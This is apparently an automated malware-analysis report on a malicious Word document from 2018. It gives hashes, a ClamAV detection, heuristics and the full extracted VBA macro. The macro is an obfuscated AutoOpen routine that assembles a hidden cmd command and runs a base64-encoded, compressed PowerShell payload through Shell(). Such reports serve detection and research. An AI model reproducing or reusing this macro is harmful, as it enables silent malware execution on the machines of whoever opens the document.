Office (OLE) malware analysis — malicious · a697e8781353e40d

MALICIOUS

Office (OLE)

116.2 KB Created: 2018-06-06 13:38:00 Authoring application: Microsoft Office Word First seen: 2018-06-21

MD5: 97308255f0533a3940227294788a1b19 SHA-1: f6c4720cc81c163006ffad490716357a824600d7 SHA-256: a697e8781353e40def8af95f5b125745330cbf445629d0d913745d68215f6dfa

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function that calls a function which uses the Shell() command. This indicates the macro is designed to execute arbitrary commands. The reconstructed command string 'md MzHUmWKjQdawj vhpXDvCEiEwjqpFXbYjft RQ LvUFABbdF & %^c^o^m^S' suggests the execution of a downloaded payload, likely a downloader or dropper.

Heuristics 7

ClamAV: Doc.Malware.Valyria-7143203-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-7143203-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

fLdnfE = CStr(qBrijD * Tan(WDWzd * Int(SAPSc * Sqr(4280) / DtZIb + Fix(5904)) / 50579 * Round(33202 / Log(38773 - EXwQP) + 73912 - JEfusE)) / 49075 + CByte(16439))
vwncz = UONJTah + Shell(BjcWi + Chr(wFCMDXWE + vbKeyC + UvfstvqbkEK) + wHjAK + rDRYBHb + qihNabzLX + wfMXY + SNzsiSY + AzMkRcquQ + jGbumwmGD, 38442 - 38442)
XjiwL = CStr(ciowc * Tan(DdcoCv * Int(ajsCO * Sqr(50196) / YWbLo + Fix(99127)) / 99873 * Round(6947 / Log(61134 - mXztuO) + 52186 - JGGbD)) / 11807 + CByte(81867))

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub Autoopen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14266 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	14266 bytes
SHA-256: `cf2ee911ddbc0dd59ab5e2d10f581829855864a792b71c46f5b89e9945e480ce`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "AkDNwajzhW" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function vwncz() On Error Resume Next kBQcL = CStr(XGIObC * Tan(qPAfR * Int(owHNl * Sqr(44980) / BVOdi + Fix(47098)) / 92959 * Round(61596 / Log(73761 - CBJFoh) + 78127 - jAOIwG)) / 3130 + CByte(60830)) fLdnfE = CStr(qBrijD * Tan(WDWzd * Int(SAPSc * Sqr(4280) / DtZIb + Fix(5904)) / 50579 * Round(33202 / Log(38773 - EXwQP) + 73912 - JEfusE)) / 49075 + CByte(16439)) vwncz = UONJTah + Shell(BjcWi + Chr(wFCMDXWE + vbKeyC + UvfstvqbkEK) + wHjAK + rDRYBHb + qihNabzLX + wfMXY + SNzsiSY + AzMkRcquQ + jGbumwmGD, 38442 - 38442) XjiwL = CStr(ciowc * Tan(DdcoCv * Int(ajsCO * Sqr(50196) / YWbLo + Fix(99127)) / 99873 * Round(6947 / Log(61134 - mXztuO) + 52186 - JGGbD)) / 11807 + CByte(81867)) End Function Sub Autoopen() On Error Resume Next Hirfd = CStr(WCmGG * Tan(Hdjzzi * Int(izYfS * Sqr(32857) / ETCwTV + Fix(39896)) / 61349 * Round(85547 / Log(33805 - AQWBv) + 13142 - HzKjXH)) / 57948 + CByte(39218)) vwncz MLiDY = CStr(tLCAq * Tan(kIckRn * Int(RfcCSr * Sqr(20443) / ZXwuS + Fix(97741)) / 33257 * Round(15960 / Log(39091 - OnmXL) + 98685 - QAWoiv)) / 11197 + CByte(38340)) End Sub Attribute VB_Name = "CZkJQLOuTnGF" Function wHjAK() On Error Resume Next lcXhl = CStr(qZqBEF * Tan(kjrLqZ * Int(ZWQRou * Sqr(79187) / khnPRc + Fix(65373)) / 88823 * Round(68903 / Log(85984 - kCfDlJ) + 62846 - FbNfcP)) / 66422 + CByte(97608)) okCQqNMAa = "md MzHUmW" + "KjQdawj vhpXD" + "vCEiE" + "wj" + "qpFXbYjft RQ" + "LvUFABbdF " + "& %^c^" + "o^m^S" MFsqF = CStr(oIOon * Tan(ClHSF * Int(htTiIH * Sqr(33110) / LXCKAi + Fix(56447)) / 37932 * Round(64918 / Log(57568 - uizquX) + 38582 - GDpFMW)) / 51117 + CByte(2118)) ImpJHPjHi = "^p^E^c^% " + " %" + "^c^o^m^S^p^" + "E^c^% " + "/V /" uhzlY = CStr(qRFDo * Tan(uiEdS * Int(KhDYH * Sqr(77632) / KfVRp + Fix(77681)) / 49808 * Round(65194 / Log(46872 - zjOVH) + 17052 - oTfoM)) / 41243 + CByte(72839)) wZzWG = "c s" + "et %J" + "LwsHPpI" + "SCYFITq%=Gz" + "ZzCBBY&&set %" + "fuqGUmOvI%=p&&" uLQTBV = CStr(JWNrUz * Tan(POWVJ * Int(zEpCY * Sqr(56918) / nIawJj + Fix(79858)) / 91938 * Round(55515 / Log(18043 - WDZXs) + 14969 - oaYER)) / 33129 + CByte(81213)) jzXzYjJTHS = "set %KX" + "EhPK" + "fZWWmaJ" + "%=o^w" + "&&se" + "t %Gs" + "AiwdDUCJhiGiU%=" + "tXadtKCc" hfpWO = CStr(YlnAvO * Tan(kJUmFI * Int(GiZLhl * Sqr(71108) / LirJI + Fix(96000)) / 4558 * Round(19649 / Log(11256 - uUwRm) + 44339 - sjDQES)) / 22718 + CByte(17317)) XnVqrDVukw = "&&set %izXfw" + "ddfGKP%=!" + "%fuqG" + "UmOvI%!&&se" + "t %duuCBjCHJ" + "amPPGJ%=zD" + "Cw" + "lLFciQDfa&&set " + "%BOu" + "DbApmqzScN%=e^" FCFiod = CStr(UaEIl * Tan(jizOf * Int(nBpsC * Sqr(28078) / ChnHQf + Fix(1016)) / 34296 * Round(85016 / Log(99483 - bSRLd) + 82140 - OLmzUQ)) / 80185 + CByte(75327)) URPputwQzKP = "r&&se" + "t %vqJRNrO" + "QqvMv%=!%KXEhPK" + "fZWWmaJ%" + "!&&se" + "t %voYPuLNXjn%" + "=s&&set %" VpQJD = CStr(zabhT * Tan(cloriv * Int(NscXwL * Sqr(77072) / CCNWR + Fix(55479)) / 58477 * Round(60239 / Log(54067 - qBLSrj) + 91754 - slZwI)) / 72975 + CByte(41507)) GPAPWcKY = "YfvpYFEj" + "ATWHaVf%=Ft" + "nNldqHEq" + "SoS&&set %MUtv" + "jfF" + "lzFF" + "sL%=he&&s" + "et %HEY" + "jHOmzK%=l" aJsRS = CStr(OMzYOL * Tan(LwGMP * Int(tbuBsc * Sqr(51846) / CiDtb + Fix(1853)) / 28672 * Round(5442 / Log(40719 - KJrmzU) + 35375 - kVhnT)) / 73387 + CByte(86764)) PdrwwwAuZ = "l&&" + "!%" + "izXf" + "wddfGKP%!!" + "%v" + "qJRNrOQqvMv%!" + "!%BOuDbApmqzS" + "cN%!" + "!%voYPuLNXjn%" wHjAK = okCQqNMAa + ImpJHPjHi + wZzWG + jzXzYjJTHS + XnVqrDVukw + URPputwQzKP + GPAPWcKY + PdrwwwAuZ End Function Function rDRYBHb() On Error Resume Next bbfHzp = CStr(fMiufn * Tan(mIcTB * Int(AHbZi * Sqr(45426) / FlOKRA + Fix(65204)) / 48040 * Round(76240 / Log(45002 - nUSMZ) + 33348 - niajYK)) / 141 + CByte(69547)) GfPijjAZpvj = "!!%MUtvjfFl" + "zFFsL%!!%" + "HEYjHOm" + "zK%! -e IAAoAC" + "AAbgBlAFcALQBPA" + "GIASgBlAGMAd" + "AAgAGkAbwAuAG" sUzFZb = CStr(mtwXci * Tan(lzlPj * Int(nohKwv * Sqr(79780) / VNDKh + Fix(25508)) / 79686 * Round(7934 / Log(77453 - oLWjS) + 52184 - wIcpkm)) / 90360 + CByte(38223)) QHTDLOzLH = "MAb" + "wBtAHAAUg" + "BlAHMAcw" + "BJAE8" + "ATgAuAEQARQBmAE" + "wAYQB0AEUAcwB0A" + "HIAZQBBAG0AKABb" + "AEkATwAu" + "AE0ARQBNAE8A" zEnoG = CStr(mhQjuM * Tan(RPhKTb * Int(LGVGQ * Sqr(1417) / MblaIq + Fix(59022)) / 25835 * Round(71798 / Log(32258 - KKYoQl) + 62031 - CrMIZS)) / 37223 + CByte(97800)) rUViBIWiI = "UgB5AHMAdAB" + "yAGUAYQBt" + "AF0AWwBT" + "AHkAUwBUA" + "EUAbQAuAEMA" sijYGq = CStr(FiGmW * Tan(DiQLI * Int(wWqka * Sqr(69083) / vzTMHp + Fix(84262)) / 75794 * Round(39322 / Log(6015 - bETwjm) + 61210 - KmnisN)) / 19417 + CByte(4543)) MPzUkUK = "TwBOAHY" + "ARQByAFQAXQA" + "6ADoAZ" + "gBSA" + "G8ATQBCAE" + "EAUwBFADYANABzA" + "HQAUgBpAE4AZ" + "wAoACAAJw" + "BWAFoARAB0AFM" + "AOABNAHc" UCwGo = CStr(vamRw * Tan(idjbjj * Int(zznDE * Sqr(61778) / LHRbw + Fix(95370)) / 74818 * Round(79420 / Log(35724 - EcnwY) + 47364 - VhwjJE)) / 13589 + CByte(22350)) lAHURrAvXAS = "ARQBNAGIALwB" + "sAFgAdwBvAGQA" + "RQBPAFgATw" + "BGAC8AUgB" + "JAG0Aeg" + "BPAG" GFFhwt = CStr(OwnILS * Tan(KpKRW * Int(wHYYq * Sqr(66993) / jtCDK + Fix(30025)) / 40456 * Round(83388 / Log(64594 - kTLCYz) + 71866 - lCjmq)) / 97368 + CByte(73812)) EGuYRaWRf = "kAagBwAGY" + "ASgB2AFYAbAB" + "HADQASgBrAD" + "YAV" Ihzjjr = CStr(XrVuj * Tan(vzJcEZ * Int(LBYHmJ * Sqr(8457) / pwCDRZ + Fix(14465)) / 76695 * Round(85111 / Log(1193 - tDnKD) + 10166 - QqFXK)) / 72913 + CByte(47990)) PcbmDwawiVa = "wB" + "uAGkAMgBxA" + "FEA" + "awB" rDRYBHb = GfPijjAZpvj + QHTDLOzLH + rUViBIWiI + MPzUkUK + lAHURrAvXAS + EGuYRaWRf + PcbmDwawiVa End Function Function qihNabzLX() On Error Resume Next ZGIrtW = CStr(jhvSrR * Tan(nJRbA * Int(vXqVBl * Sqr(85570) / aSlQi + Fix(57142)) / 596 * Round(1471 / Log(59482 - GhGTG) + 29224 - OkrCvG)) / 66366 + CByte(71520)) mwhXTUFi = "WADkAcwA2A" + "DkAc" + "gA" + "4AGIAMwBSAF" + "QAOABjAG4AQgAz" + "AHYAKwB" sBQnpI = CStr(YIOJCM * Tan(ZniQVT * Int(bRbkn * Sqr(1978) / LfMDf + Fix(72801)) / 71757 * Round(97577 / Log(70690 - KzChKr) + 10840 - BvSPRp)) / 25473 + CByte(34211)) UkwWatzj = "jAGUA" + "NwBnAG" + "4AMAA2AEwAe" + "gA0A" + "HYAQw" + "BUAEgAUgBFAF" QkoDC = CStr(dNdCG * Tan(aCaCn * Int(XQsRZ * Sqr(42168) / lFiwO + Fix(43944)) / 80912 * Round(26322 / Log(36317 - OwnIp) + 49411 - hpzLb)) / 86367 + CByte(84700)) mtIqEDiYw = "AA" + "VgBNAGIATgAz" + "AEUARQBn" + "AHMAMQA2AG4A" + "Sg" + "BvAHkAQwA" + "5AEgAWAAyAGM" + "AMwB2ADMAZgBKAF" djpBa = CStr(LSAQCu * Tan(PfQIH * Int(MGzwhq * Sqr(46589) / jWqKMq + Fix(68808)) / 70022 * Round(76370 / Log(827 - sVDdm) + 84435 - fDRKjC)) / 37267 + CByte(20880)) RzsbPA = "kAMQBEAH" + "kATw" + "BrAE4A" + "SQBIADI" + "AQw" GdkHKC = CStr(bvKFq * Tan(hfrPw * Int(MIcNG * Sqr(90049) / USZnn + Fix(83658)) / 2801 * Round(20553 / Log(56151 - CsBpG) + 52831 - cmwbWm)) / 35260 + CByte(37464)) DIsqicl = "AyAFMAQgB" + "UAG" + "8ARABFAEsAcQ" + "BwAE8ATABHAE" + "QAMABZAF" + "MAcwBUAGkAa" DwXiQ = CStr(MzhwBI * Tan(NotDY * Int(XuZFhu * Sqr(70663) / wkwjH + Fix(38147)) / 64992 * Round(76185 / Log(5849 - wqYfCI) + 19862 - ZFYHi)) / 35355 + CByte(26325)) wNFLoOcQC = "QBEAEcAZQBRAD" + "EAMQBUAE4AM" + "gBmA" + "FQALwBjAH" + "YASgBsA" + "FAAWABXADQANgBx" + "AHE" + "AcQBPAFMAcA" qihNabzLX = mwhXTUFi + UkwWatzj + mtIqEDiYw + RzsbPA + DIsqicl + wNFLoOcQC End Function Function wfMXY() On Error Resume Next wLispj = CStr(KOOiPu * Tan(oalFEi * Int(rsRvI * Sqr(41136) / vqCjSd + Fix(45121)) / 43353 * Round(18058 / Log(20152 - PKNQnZ) + 89651 - kRwVcN)) / 60113 + CByte(24040)) hjKLLjk = "BzAHAAa" + "wBxA" + "DgAeABJ" + "AHQ" + "ATwBPAFM" + "AbABkA" + "DAATQBxAFQ" TMzhO = CStr(PYMCw * Tan(RSQbH * Int(YDaErA * Sqr(56338) / NwUZSn + Fix(33465)) / 35627 * Round(6597 / Log(93184 - QAJzs) + 52606 - zNSzh)) / 89111 + CByte(41149)) atuaizzL = "ATQ" + "A2ADYARABVAG" + "8AeABI" + "AFAANwBSAEUAbg" + "Bp" + "AEcAcwBw" HIiOV = CStr(EdnTDn * Tan(JzwOUN * Int(oOGhcU * Sqr(6029) / SOPaE + Fix(90379)) / 62554 * Round(16365 / Log(77158 - bRMXVi) + 79101 - noOUkN)) / 62205 + CByte(59353)) mjSBYX = "AEMATgBVADgASg" + "A5A" + "EUANQBTAFg" + "AcgBOAGo" + "AcQBEACsASwBI" + "AGYAeABkAH" + "oANwBzAHk" + "AbgB5A" + "HIAaQ" sCwmAs = CStr(LZDdjo * Tan(qKatwd * Int(tbsoj * Sqr(28055) / wdCuZ + Fix(22850)) / 77767 * Round(11079 / Log(83865 - aYXMw) + 50840 - EwLXJ)) / 20037 + CByte(38345)) wECMnzn = "BtAFMAcg" + "A4AGEATgB1" + "AGwAZ" + "gBkAGYAd" + "gB5AGoAM" + "wBE" + "AHoASgBnAE8AZQ" + "BnAHY" + "AMA" + "A1AHcAVwA3AFA" ASwaDz = CStr(inNvB * Tan(KcolTX * Int(YGEzB * Sqr(62952) / iCdoTi + Fix(19986)) / 46593 * Round(88070 / Log(80410 - nEGtkz) + 178 - cuWXm)) / 81216 + CByte(74076)) DwcqcGCF = "ARAA1AHAAZAB2AG" + "MAMQBDAG0AaABT" + "AFoAdw" + "BsAGIAWQBDAD" LuNBZ = CStr(NlbKY * Tan(TYliwG * Int(TLiWEz * Sqr(55402) / oLfrw + Fix(62717)) / 63088 * Round(98220 / Log(56468 - oFQqVS) + 49137 - XEEJnZ)) / 61481 + CByte(21098)) TmiFvzrK = "kA" + "dA" + "BSADgASABnAHg" + "ANw" + "B0ADgAbg" + "AvAG8ARg" + "BnAGwA" + "UQBmAFYA" pjYID = CStr(TZZwTZ * Tan(nZICJB * Int(cqMwd * Sqr(50127) / zfYGL + Fix(76000)) / 25404 * Round(83320 / Log(35002 - XkIzR) + 91038 - GBbRi)) / 1368 + CByte(70211)) tibVqhmhLz = "VQBHAE8AcgB1A" + "DAAbgAy" + "AEQA" + "NwBzADcAZQB4AD" + "cAUQB3ADA" + "ARQA4AEsA" + "YgA" + "4AEIAMABC" + "ADkASA" iwrwU = CStr(fdYTtB * Tan(ImivHD * Int(ZsQKvq * Sqr(81548) / wGUioq + Fix(62179)) / 82653 * Round(42211 / Log(85531 - csGjdY) + 88505 - zPsWXw)) / 9752 + CByte(81146)) OKsqu = "BQAG8ARwB" + "DAGIAS" + "gBE" + "AHcATwBmAFQ" + "AMQBWACsAeAA3" + "AEMAagBXAEUAMA" wfMXY = hjKLLjk + atuaizzL + mjSBYX + wECMnzn + DwcqcGCF + TmiFvzrK + tibVqhmhLz + OKsqu End Function Function SNzsiSY() On Error Resume Next fhDilD = CStr(SzONzc * Tan(NDJbnS * Int(nlBLs * Sqr(24778) / kziiA + Fix(89522)) / 21720 * Round(78670 / Log(78683 - qocRi) + 19228 - fVTfSN)) / 40849 + CByte(34087)) rGQOEuPGQVS = "BhAHUAeAB3AEkAV" + "gBzAEIAZABVADQ" + "AbgB0ADAA" + "UgBw" + "AGMAawBxA" + "G4ALw" + "BZA" + "EMA" + "YgBiAE4AWQ" csvCT = CStr(qXhBji * Tan(hkYOql * Int(psIbUf * Sqr(44276) / bRjMRc + Fix(34886)) / 35973 * Round(87666 / Log(74269 - zwEjc) + 56868 - jojGE)) / 43928 + CByte(69298)) BcdqlGBP = "BwADAAcAB" + "QAFQAY" + "QBVAHoAdwA" + "5AE0Aeg" ikkTh = CStr(WzvQRT * Tan(WPRib * Int(ozlIfw * Sqr(34968) / iJVNNc + Fix(96001)) / 89238 * Round(65153 / Log(66488 - EMbBI) + 36077 - JpJYS)) / 54474 + CByte(55490)) vpzDSati = "BsAGMARQBhAHAAZ" + "gBjAG0AUQ" + "BhA" + "HYAMABXADYAdQ" + "A5AFMAZABhAFcAN" + "wB" wTwbEV = CStr(onoaD * Tan(qPchi * Int(WiMwd * Sqr(81113) / ocoKq + Fix(85956)) / 69539 * Round(63010 / Log(63045 - zGiEpX) + 76363 - hPGTa)) / 65041 + CByte(83272)) tmKPdj = "TAGgAQgBiAHI" + "ARQB6AHMAawBh" + "AEEAYw" + "A3AC8AagB" + "hAE8AWQA5" + "ADUAdA" SNzsiSY = rGQOEuPGQVS + BcdqlGBP + vpzDSati + tmKPdj End Function Function AzMkRcquQ() On Error Resume Next XGCjVT = CStr(khmAdz * Tan(TYJkia * Int(AhGZl * Sqr(92317) / OUCHSG + Fix(40275)) / 57905 * Round(59056 / Log(95674 - iVuXC) + 45086 - PzwiJ)) / 79260 + CByte(6977)) pXmIFRDz = "BGAF" + "MAYwBCAFI" + "AeQBVAFYA" + "bQBGADA" + "ASgBIAEcA" + "SQBR" + "AGw" + "AZQB" + "hAE" fXYvJ = CStr(XKVMjs * Tan(qNptM * Int(zFKcij * Sqr(28486) / wijLN + Fix(6577)) / 4635 * Round(53272 / Log(94643 - joZHL) + 46852 - SiAYl)) / 13181 + CByte(78411)) wUpjrjV = "YAdwBMAEsARgB" + "BAFo" + "AVABhACsAOQBnAH" + "IAOQBC" + "AHQARgB4ACsAQ" + "QBRAD" + "0APQAnACkALA" + "AgAFsA" + "aQBPAC4AYw" + "BPAG0Ac" NEKUut = CStr(uOafp * Tan(VpIPQ * Int(JYBrum * Sqr(34271) / EOwLX + Fix(83581)) / 28479 * Round(99955 / Log(98201 - HCLXtL) + 64840 - iKworJ)) / 41730 + CByte(44688)) QsOLXUNYK = "ABSAE" + "UAcwBzAEkATwBuA" + "C4AQwBPAE0A" + "UAByAEUAU" + "wBzAGkAbwBOA" + "G0ATwBEA" + "GUAXQA6AD" YLMQhd = CStr(HjRPHz * Tan(WqQHNX * Int(fqJODH * Sqr(28537) / WnpAM + Fix(80956)) / 77352 * Round(73295 / Log(52138 - ZdQMt) + 35887 - lYawb)) / 3844 + CByte(15114)) iWVzBKL = "oARA" + "BlAEMATwBNA" + "HAA" + "UgB" + "lAFMAcwApAC" + "AAfAAgA" + "CU" + "AewAgAG4AZQBXA" + "C0ATwB" AzMkRcquQ = pXmIFRDz + wUpjrjV + QsOLXUNYK + iWVzBKL End Function Function jGbumwmGD() On Error Resume Next stVDBi = CStr(TrJiZ * Tan(lvhEp * Int(otWSwr * Sqr(81664) / inRvl + Fix(64512)) / 2497 * Round(39000 / Log(93396 - iZuDK) + 48388 - PtRzd)) / 86933 + CByte(88537)) qYfYzhzq = "iAEoAZQBjAH" + "QAIABzAFk" + "AUwB0AEUAbQ" + "Au" + "AGkATw" + "AuAFM" + "AdAByAE" + "UAYQB" + "NAFI" TTFWbY = CStr(LMmfZ * Tan(tsFRz * Int(VQnli * Sqr(94220) / hwYSF + Fix(89695)) / 45164 * Round(17860 / Log(33583 - vwVuW) + 27070 - QfzpWA)) / 23329 + CByte(66626)) adpTOriLRl = "AZQBBA" + "EQAR" + "QBSACgAIA" + "AkA" + "F8ALABbAFMAW" + "QBzAHQARQBNAC4A" + "dABFAHgA" iYWfhW = CStr(MrOmt * Tan(kCEbdJ * Int(dTwBF * Sqr(40181) / zYKzM + Fix(69370)) / 53497 * Round(30944 / Log(98037 - ljYYID) + 16127 - pjvzlu)) / 44614 + CByte(4613)) TYbhGUZ = "dAAuAGUATgB" + "jAE8" + "AZABJA" + "G4ARwB" AKZUa = CStr(TbnjR * Tan(JFUDR * Int(zkuVQq * Sqr(50445) / lIAnQ + Fix(49868)) / 20016 * Round(39204 / Log(53227 - ZTKTF) + 94563 - XrCfd)) / 51239 + CByte(88757)) ozpbEdOpHW = "dADoAOgBB" + "AH" + "MAQwBJAEkAKQ" + "AgAH0AIAApAC4Ac" EaRVi = CStr(jtLbLb * Tan(QrPpdP * Int(wfdfwA * Sqr(86797) / YkHhFU + Fix(23109)) / 99653 * Round(86051 / Log(97629 - LqZzsu) + 41547 - GAnqA)) / 22255 + CByte(31487)) GTsLGa = "gB" + "FA" + "GEAZAB0" + "AE8" + "AZ" + "QBO" + "AEQAKAApAHwAJ" + "gAoACgAVgBBAHIA" + "aQBBAEI" YwmYi = CStr(jVaTd * Tan(fErWq * Int(EnZjkk * Sqr(52494) / mzltHV + Fix(80038)) / 97993 * Round(76212 / Log(5968 - aRJGD) + 47001 - QApCI)) / 31948 + CByte(958)) ONEZGPkEKk = "AbABlACA" + "AJwAqAG0AZ" + "AByAC" + "oAJwApAC4AT" + "gBBAE0AZQ" + "Bb" + "AD" + "MALAAxADEA" + "LAAyAF0" + "ALQBqAE" HcwrL = CStr(zzPkk * Tan(LHfjQo * Int(QPujV * Sqr(15405) / Ubpjq + Fix(39316)) / 86369 * Round(78165 / Log(27732 - CvrEc) + 35139 - VSqNIU)) / 17144 + CByte(73613)) VYQah = "8AaQBuA" + "CcAJwA" + "pAA==" jGbumwmGD = qYfYzhzq + adpTOriLRl + TYbhGUZ + ozpbEdOpHW + GTsLGa + ONEZGPkEKk + VYQah End Function

SHA-256: cf2ee911ddbc0dd59ab5e2d10f581829855864a792b71c46f5b89e9945e480ce

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "AkDNwajzhW"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function vwncz()
On Error Resume Next
kBQcL = CStr(XGIObC * Tan(qPAfR * Int(owHNl * Sqr(44980) / BVOdi + Fix(47098)) / 92959 * Round(61596 / Log(73761 - CBJFoh) + 78127 - jAOIwG)) / 3130 + CByte(60830))
fLdnfE = CStr(qBrijD * Tan(WDWzd * Int(SAPSc * Sqr(4280) / DtZIb + Fix(5904)) / 50579 * Round(33202 / Log(38773 - EXwQP) + 73912 - JEfusE)) / 49075 + CByte(16439))
vwncz = UONJTah + Shell(BjcWi + Chr(wFCMDXWE + vbKeyC + UvfstvqbkEK) + wHjAK + rDRYBHb + qihNabzLX + wfMXY + SNzsiSY + AzMkRcquQ + jGbumwmGD, 38442 - 38442)
XjiwL = CStr(ciowc * Tan(DdcoCv * Int(ajsCO * Sqr(50196) / YWbLo + Fix(99127)) / 99873 * Round(6947 / Log(61134 - mXztuO) + 52186 - JGGbD)) / 11807 + CByte(81867))
End Function
Sub Autoopen()
On Error Resume Next
Hirfd = CStr(WCmGG * Tan(Hdjzzi * Int(izYfS * Sqr(32857) / ETCwTV + Fix(39896)) / 61349 * Round(85547 / Log(33805 - AQWBv) + 13142 - HzKjXH)) / 57948 + CByte(39218))
vwncz
MLiDY = CStr(tLCAq * Tan(kIckRn * Int(RfcCSr * Sqr(20443) / ZXwuS + Fix(97741)) / 33257 * Round(15960 / Log(39091 - OnmXL) + 98685 - QAWoiv)) / 11197 + CByte(38340))
End Sub


Attribute VB_Name = "CZkJQLOuTnGF"
Function wHjAK()
On Error Resume Next
lcXhl = CStr(qZqBEF * Tan(kjrLqZ * Int(ZWQRou * Sqr(79187) / khnPRc + Fix(65373)) / 88823 * Round(68903 / Log(85984 - kCfDlJ) + 62846 - FbNfcP)) / 66422 + CByte(97608))
okCQqNMAa = "md MzHUmW" + "KjQdawj vhpXD" + "vCEiE" + "wj" + "qpFXbYjft RQ" + "LvUFABbdF " + "&     %^c^" + "o^m^S"
MFsqF = CStr(oIOon * Tan(ClHSF * Int(htTiIH * Sqr(33110) / LXCKAi + Fix(56447)) / 37932 * Round(64918 / Log(57568 - uizquX) + 38582 - GDpFMW)) / 51117 + CByte(2118))
ImpJHPjHi = "^p^E^c^%    " + " %" + "^c^o^m^S^p^" + "E^c^%     " + "/V         /"
uhzlY = CStr(qRFDo * Tan(uiEdS * Int(KhDYH * Sqr(77632) / KfVRp + Fix(77681)) / 49808 * Round(65194 / Log(46872 - zjOVH) + 17052 - oTfoM)) / 41243 + CByte(72839))
wZzWG = "c           s" + "et %J" + "LwsHPpI" + "SCYFITq%=Gz" + "ZzCBBY&&set %" + "fuqGUmOvI%=p&&"
uLQTBV = CStr(JWNrUz * Tan(POWVJ * Int(zEpCY * Sqr(56918) / nIawJj + Fix(79858)) / 91938 * Round(55515 / Log(18043 - WDZXs) + 14969 - oaYER)) / 33129 + CByte(81213))
jzXzYjJTHS = "set %KX" + "EhPK" + "fZWWmaJ" + "%=o^w" + "&&se" + "t %Gs" + "AiwdDUCJhiGiU%=" + "tXadtKCc"
hfpWO = CStr(YlnAvO * Tan(kJUmFI * Int(GiZLhl * Sqr(71108) / LirJI + Fix(96000)) / 4558 * Round(19649 / Log(11256 - uUwRm) + 44339 - sjDQES)) / 22718 + CByte(17317))
XnVqrDVukw = "&&set %izXfw" + "ddfGKP%=!" + "%fuqG" + "UmOvI%!&&se" + "t %duuCBjCHJ" + "amPPGJ%=zD" + "Cw" + "lLFciQDfa&&set " + "%BOu" + "DbApmqzScN%=e^"
FCFiod = CStr(UaEIl * Tan(jizOf * Int(nBpsC * Sqr(28078) / ChnHQf + Fix(1016)) / 34296 * Round(85016 / Log(99483 - bSRLd) + 82140 - OLmzUQ)) / 80185 + CByte(75327))
URPputwQzKP = "r&&se" + "t %vqJRNrO" + "QqvMv%=!%KXEhPK" + "fZWWmaJ%" + "!&&se" + "t %voYPuLNXjn%" + "=s&&set %"
VpQJD = CStr(zabhT * Tan(cloriv * Int(NscXwL * Sqr(77072) / CCNWR + Fix(55479)) / 58477 * Round(60239 / Log(54067 - qBLSrj) + 91754 - slZwI)) / 72975 + CByte(41507))
GPAPWcKY = "YfvpYFEj" + "ATWHaVf%=Ft" + "nNldqHEq" + "SoS&&set %MUtv" + "jfF" + "lzFF" + "sL%=he&&s" + "et %HEY" + "jHOmzK%=l"
aJsRS = CStr(OMzYOL * Tan(LwGMP * Int(tbuBsc * Sqr(51846) / CiDtb + Fix(1853)) / 28672 * Round(5442 / Log(40719 - KJrmzU) + 35375 - kVhnT)) / 73387 + CByte(86764))
PdrwwwAuZ = "l&&" + "!%" + "izXf" + "wddfGKP%!!" + "%v" + "qJRNrOQqvMv%!" + "!%BOuDbApmqzS" + "cN%!" + "!%voYPuLNXjn%"
wHjAK = okCQqNMAa + ImpJHPjHi + wZzWG + jzXzYjJTHS + XnVqrDVukw + URPputwQzKP + GPAPWcKY + PdrwwwAuZ
End Function
Function rDRYBHb()
On Error Resume Next
bbfHzp = CStr(fMiufn * Tan(mIcTB * Int(AHbZi * Sqr(45426) / FlOKRA + Fix(65204)) / 48040 * Round(76240 / Log(45002 - nUSMZ) + 33348 - niajYK)) / 141 + CByte(69547))
GfPijjAZpvj = "!!%MUtvjfFl" + "zFFsL%!!%" + "HEYjHOm" + "zK%!  -e IAAoAC" + "AAbgBlAFcALQBPA" + "GIASgBlAGMAd" + "AAgAGkAbwAuAG"
sUzFZb = CStr(mtwXci * Tan(lzlPj * Int(nohKwv * Sqr(79780) / VNDKh + Fix(25508)) / 79686 * Round(7934 / Log(77453 - oLWjS) + 52184 - wIcpkm)) / 90360 + CByte(38223))
QHTDLOzLH = "MAb" + "wBtAHAAUg" + "BlAHMAcw" + "BJAE8" + "ATgAuAEQARQBmAE" + "wAYQB0AEUAcwB0A" + "HIAZQBBAG0AKABb" + "AEkATwAu" + "AE0ARQBNAE8A"
zEnoG = CStr(mhQjuM * Tan(RPhKTb * Int(LGVGQ * Sqr(1417) / MblaIq + Fix(59022)) / 25835 * Round(71798 / Log(32258 - KKYoQl) + 62031 - CrMIZS)) / 37223 + CByte(97800))
